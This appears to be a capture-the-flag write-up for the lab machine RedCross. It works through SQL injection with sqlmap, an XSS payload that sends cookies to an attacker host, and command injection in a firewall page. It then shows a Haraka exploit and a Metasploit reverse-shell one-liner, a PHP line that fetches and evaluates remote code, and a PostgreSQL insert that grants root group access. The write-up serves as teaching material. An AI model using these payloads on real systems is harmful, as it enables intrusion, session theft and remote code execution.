N.B.: nmap package on Archlinux has an old version of tls-alpn script that hangs during the scan; update it from the official repository to solve the issue (use d to increase the debug level).
The filter form is used to select messages from some uid users: https://intra.redcross.htb/?o=9&page=app. Running sqlmap on the URL cause a DoS so with Burp it’s possible to try some manual SQL injections.
Just using ' the parameter o cause a SQL error (the application shows debug PHP errors). The error says that a wrong character is used inside a like statement; inserting % is enough to prints all records for the query.
Guest Account Info [1] From: admin (uid 1) To: guest (uid 5) You're granted with a low privilege access while we're processing your credentials request. Our messaging system still in beta status. Please report if you find any incidence.
Problems with order 02122128 [2] From: tricia (uid 4) To: penelope (uid 2) Hi Penny, can you check if is there any problem with the order? I'm not receiving it in our EDI platform.
Strange behavior [3] From: admin (uid 1) To: charles (uid 3) Please could you check the admin webpanel? idk what happens but when I'm checking the messages, alerts popping everywhere!! Maybe a virus?
Problems with order 02122128 [4] From: penelope (uid 2) To: tricia (uid 4) Hi, Please check now... Should be arrived in your systems. Please confirm me. Regards.
admin subd webapp problems [5] From: charles (uid 3) To: penelope (uid 2) Hey, my chief contacted me complaining about some problem in the admin webapp. I thought that you reinforced security on it... Alerts everywhere!!
admin subd webapp problems (priority) [6] From: penelope (uid 2) To: charles (uid 3) Hi, Yes it's strange because we applied some input filtering on the contact form. Let me check it. I'll take care of that since now! KR
STOP checking messages from intra (priority) [7] From: penelope (uid 2) To: admin (uid 1) Hi, Please stop checking messages from intra platform, it's possible that there is a vuln on your admin side...
STOP checking messages from intra (priority) [8] From: admin (uid 1) To: penelope (uid 2) Sorry but I can't do that. It's the only way we have to communicate with partners and we are overloaded. Doesn't look so bad... besides that what colud happen? Don't worry but fix it ASAP.
The contact form should be vulnerable to XSS but other tests were unsuccessful. Messages 5 and 7 can lead to another subdomain: admin (wfuzz showed nothing with this subdomain); adding the new subdomain to /etc/hosts a new webapp is accessible.
The login form is not vulnerable to some basic SQL injection payloads and guest:guest is a valid login but Not enough privileges! are set and no LFI on ?page= parameter.
To improve the output and the effectiveness of the SQLi it’s possible to set sqlmap to wait some time between each request
The above command will try to exploit the vulnerable request using all possible techniques on MySQL. After some time (a lot due to the delay) the scan is completed with success.
[INFO] testing connection to the target URL [INFO] testing if the target URL content is stable [INFO] heuristic (basic) test shows that GET parameter 'o' might be injectable (possible DBMS: 'MySQL') [INFO] heuristic (XSS) test shows that GET parameter 'o' might be vulnerable to cross-site scripting (XSS) attacks [INFO] testing for SQL injection on GET parameter 'o' [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [WARNING] reflective value(s) found and filtering out [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause' [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)' [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' [INFO] GET parameter 'o' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [INFO] GET parameter 'o' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable [INFO] testing 'MySQL inline queries' [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)' [INFO] testing 'MySQL > 5.0.11 stacked queries' [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)' [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)' [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)' [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [INFO] testing 'MySQL >= 5.0.12 AND time-based blind' [INFO] testing 'MySQL >= 5.0.12 OR time-based blind' [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (comment)' [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (comment)' [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [INFO] GET parameter 'o' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [INFO] target URL appears to be UNION injectable with 4 columns [INFO] testing 'Generic UNION query (23) - 21 to 40 columns' [INFO] testing 'Generic UNION query (23) - 41 to 60 columns' [INFO] testing 'Generic UNION query (23) - 61 to 80 columns' [INFO] testing 'Generic UNION query (23) - 81 to 100 columns' [INFO] testing 'MySQL UNION query (23) - 1 to 20 columns' [INFO] testing 'MySQL UNION query (23) - 21 to 40 columns' [INFO] testing 'MySQL UNION query (23) - 41 to 60 columns' [INFO] testing 'MySQL UNION query (23) - 61 to 80 columns' [INFO] testing 'MySQL UNION query (23) - 81 to 100 columns' sqlmap identified the following injection point(s) with a total of 566 HTTP(s) requests: --- Parameter: o (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: o=%') AND 8092=(SELECT (CASE WHEN (8092=8092) THEN 8092 ELSE (SELECT 7956 UNION SELECT 3047) END))-- rEiR&page=app
Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: o=%') AND (SELECT 9821 FROM(SELECT COUNT(*),CONCAT(0x717a787671,(SELECT (ELT(9821=9821,1))),0x71627a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Tvej&page=app
Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: o=%') AND (SELECT * FROM (SELECT(SLEEP(5)))jPkA)-- CCEh&page=app --- [00:06:55] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 9.0 (stretch) web application technology: Apache 2.4.25 back-end DBMS: MySQL >= 5.0
Trying to retrieve the databases list sqlmap prints:
1 2 3 4 5
sqlmap -r sqli.txt --delay=2 --dbs --batch
available databases [2]: [*] information_schema [*] redcross
The redcross database contains three tables but only messages and users contain records; obviously the messages table is known from the previous dump. The current user used to access the database is dbcross.
Logging in as charles on admin.redcross.htb shows the same error as for the guest user: Not enough privileges!. The passwords cookiemonster and alexss should be hints to Try Harder! with other payloads for XSS on the contact form.
Just targeting the cback parameter a XSS is found:
cback parameter, on the contact form, can be used to steal the user cookies.
JavaScript’s fetch method is not available because when using <img src="http://10.10.XX.XX/img" onerror="fetch('http://10.10.XX.XX/cc')"/> the cc request is not received; same as for document.location="http://10.10.XX.XX/test". Searching for other payloads a post used a Cookie Monster image with a JavaScript payload to request a remote image.
javascript: img = new Image(); img.src = "http://tools.lanmaster53.com/monster.php?cookie=" + document.cookie;
Using the tag for an embedded JavaScript in a HTML page the XSS is triggered:
1 2 3
<script> var img=new Image();img.src="http://10.10.XX.XX/"+document.cookie; </script>
With the PHPSESSID cookie set it’s possible to access the admin.redcross.htb admin panel.
The panel allows to add, remove users for the intra webapp and whitelist some IPs.
Running sqlmap on the adduser and firewall features shows that the requests are not vulnerable to SQLi.
With the CVE-2018-15473 it’s possible to check the presence of some users on the system and try to login with the found passwords.
Unfortunately no session is found. Since to allow or deny an IP address the server should execute some commands it’s possible to search a command injection in the firewall page.
It turns out that the deny function is vulnerable to command injection on the ip parameter.
With the Metasploit web delivery module it’s possible to get a meterpreter session.
Within the session a list of listening ports shows that the initial nmap scan was incomplete. For example ports 21,5432,1025 and 5355 are not displayed but are listening on the default interface.
Two processes can be abused to privesc from www-data to penelope or root:
Haraka is a mail server written in NodeJS and a known exploit allows to execute commands without authentication: https://www.exploit-db.com/exploits/41162. To check which one the new discovered ports is running Haraka it’s possible to use telnet to read the service banner.
The server is running on port 1025 (25 is the default mail port). Using the public exploit it’s possible to tweak it and upload it the remote machine.
if __name__ == '__main__': print(banner) parser = argparse.ArgumentParser(description='Harakiri') parser.add_argument('-c', '--cmd', help='command to run', required=True) parser.add_argument( '-t', '--to', help='victim email, mx record must point to vulnerable server', default="info@redcross.htb", required=False) parser.add_argument( '-m', '--mailserver', help= 'mailserver to talk to, you can consider putting the vuln server here if the mx records aren\'t correct', default="localhost", required=False) parser.add_argument( '-f', '--from', help='optional: From email address', required=False, default="penelope@redcross.htb") args = vars(parser.parse_args()) SendMail(args['to'], args['mailserver'], args['cmd'], args['from'])
To execute it run python2 ./harakaex.py -c 'php -d allow_url_fopen=true -r "eval(file_get_contents('"'"'http://10.10.XX.XX:8080/dodometer'"'"'));"'; the exploit will use the same web_delivery script to open a new session as penelope:
The firewall functionality of the admin panel is used to whitelist or block an IP address to access the extra ports founds using ss. Adding the local IP to the whitelist a new nmap scan shows:
1 2 3 4 5 6 7 8 9 10 11 12
21/tcp open ftp syn-ack ttl 63 vsftpd 2.0.8 or later 1025/tcp open NFS-or-IIS? syn-ack ttl 63 5432/tcp open postgresql syn-ack ttl 63 PostgreSQL DB 9.6.0 or later | fingerprint-strings: | SMBProgNeg: | SFATAL | VFATAL | C0A000 | Munsupported frontend protocol 65363.19778: server supports 1.0 to 3.0 | Fpostmaster.c | L2030 |_ RProcessStartupPacket
Now haraka is open and exploitable from Metasploit exploit/linux/smtp/haraka:
Metasploit one-liner (local IP must be whitelisted):
1
msfconsole -x "use exploit/linux/smtp/haraka; set LPORT 3488; set LHOST $(ip addr show tun0 | grep -Po "inet \K[\d.]+"); set SRVHOST $(ip addr show tun0 | grep -Po "inet \K[\d.]+"); set payload linux/x64/meterpreter/reverse_tcp; set rhost 10.10.10.113; set rport 1025; set email_from info@redcross.htb; set email_to penelope@redcross.htb; run -j"
In addition the adduser feature is used to enable a jail session/shell for the created user. That’s why from the SSH enumeration some users are marked as valid but they are not in the system passwd file.
The session is spawned in the system folder /var/jail/. The path contains also the source code for the tool used to interact with iptables to ban or enable an IP address from the admin console.
child_pid=fork(); if(child_pid==0){ setuid(0); execvp(args[0],args); exit(0); } else{ if(isAction==1) printf("Network access granted to %s\n",inputAddress); if(isAction==2) printf("Network access restricted to %s\n",inputAddress); if(isAction==3) puts("ERR: Function not available!\n"); } }
The compiled binary is in /opt/iptctl owned by root with the SUID bit set. The binary is compiled without canaries or stack protection and it’s stripped and do not use any input sanitization method (strcpy and fgets to copy unbuffered data inside an array).
The same binary is runnable from the admin panel using the command injection.
The code that triggers the RCE is (/var/www/html/admin/pages/actions.php):
So the binary can be exploited to get a root session but from the same above file the adduser inserts all user informations inside a PostgreSQL server with also data about gid and passwd. The PostgreSQL do not allows connection from the local ip even though the port is open.
The adduser should control how the created user can access the system through the Jail session. Exploiting this setting can let an attacker spawn a root shell from SSH (or FTP).
From the webapp source code it’s possible to read all database credentials:
Inside the meterpreter session (penelope) the PostgreSQL can be reached using psql.
To avoid prompting for the password use: PGPASSWORD='dheu%7wjx8B&' psql -h localhost -U unixusrmgr unix. User unixusrmgr can read/edit only the table passwd_table. This table contains all data for each temp user added through the adduser feature.
After checking in /etc/passwd and /etc/group the correct values for the user root it’s possible to create an insert query:
insert into passwd_table(username,passwd,uid,gid,gecos,homedir,shell) values ('dodo','$1$t456HBXs$I0apJsI.YPdxdNB34FcIk/',0,0,'','/root','/bin/bash');
But some values cannot be added from this PostgreSQL user. A shorter query is then accepted without the uid parameter.
insert into passwd_table(username,passwd,gid,homedir) values ('dodo','$1$t456HBXs$I0apJsI.YPdxdNB34FcIk/',0,'/root');
SSH can now be used to access the newly created user with dodo:dodo:
The user can’t read the flag because the uid is not 0 (root) but 2042 (dodo) but the group is correct the root user. Even sudo is not available since the user dodo is not in the sudo group. In /etc/group the sudo group has gid=27(sudo).
An update the passwd_table to change the gid from 0 to 27 allows the user dodo to use sudo to become root and read the flag.
root_alt (PhantomJS)
In the /root/bin/redcrxss.py directory there is also the Python script used to simulate the execution of the XSS:
This script uses PhantomJS to execute the JavaScript coming from the contact form in the context of a PHP script and is owned and executed by root. The script is running forever making a query each 10 seconds to the MySQL server to get some code to execute. The JavaScript is then URL-encoded and used as GET parameter for the script 573ba8e9bfd0abd3d69d8395db582a9e.php.
/*block code to get and show the XSS*/ $xss=$_GET['x']; echo $xss; /*end block*/ ?>
This PHP script is used to retrieve informations about the user admin from the database, create the correct $_SESSION and update the cookies but actually we didn’t find any way to exploit it.